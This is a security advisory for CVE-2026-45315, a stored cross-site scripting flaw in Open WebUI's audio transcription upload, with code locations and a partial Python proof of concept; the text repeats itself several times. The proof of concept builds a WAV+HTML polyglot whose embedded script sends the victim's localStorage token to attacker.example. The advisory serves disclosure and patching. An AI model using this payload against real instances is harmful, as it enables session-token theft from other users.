CVE-2026-45315

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

• backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
  allowlist, no cross-check against file.content_type.
• backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
  and sets no Content-Disposition.
• backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
• backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
• src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
• backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                  …

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

• backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
  allowlist, no cross-check against file.content_type.
• backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
  and sets no Content-Disposition.
• backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
• backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
• src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
• backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                  …

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details

Verified on main @ 8dae237a (v0.9.2):

• backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No
  allowlist, no cross-check against file.content_type.
• backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension
  and sets no Content-Disposition.
• backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body.
• backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.
• src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.
• backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.

PoC

Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition.

import struct, httpx                                                                                                                                   

data = b'\x80' * 44100                                                                                                                                   
wav  = struct.pack('<4sI4s4sIHHIIHH4sI',
        b'RIFF', 36 + len(data), b'WAVE',                                                                                                                
        b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         
        b'data', len(data)) + data                                                                                                                       
payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>'
                    
                                                                  …